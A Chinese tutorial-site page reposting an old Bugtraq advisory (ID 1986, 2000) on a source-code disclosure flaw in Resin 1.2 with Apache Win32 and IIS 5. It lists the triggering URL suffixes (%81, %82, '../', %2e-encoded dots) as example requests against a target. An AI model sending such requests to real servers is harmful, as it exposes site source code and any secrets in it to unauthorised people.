当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞

JSP
JSP由浅入深(8)
JSP由浅入深(5-2)
JSP由浅入深(5-1)
[学习笔记]**编写"纯HTML"jsp应用--学会使用JSTL**
小议<scriptsrc=aaa.js></script>
[学习笔记]**编写"纯HTML"jsp应用--学会使用
HTML和javascript结合的例子
讲一讲setproperty(name="*")的用法或介绍相关资料
关于Servlet、Jsp中的多国语言显示(续)<太长了>
JSP语法(8)——<jsp:forward>
JSP语法(9)——<jsp:getProperty>
JSP语法(10)——<jsp:include>
JSP语法(12)——<jsp:useBean>
JSP语法(11)——<jsp:plugin>
关于认证的一些介绍
JSP语法(13)——<jsp:useBean>
java反射技术(一)
JAVA反射技术(二)
jsp连接mysql数据库大全
JSP入门教程(2)

JSP 中的 Resin 1.2 重要源代码暴露漏洞


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 74 ::
收藏到网摘: n/a

bugtraq id 1986
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32

Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81

Resin Web Server:
../
Example: http://target/filename.jsp../


IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp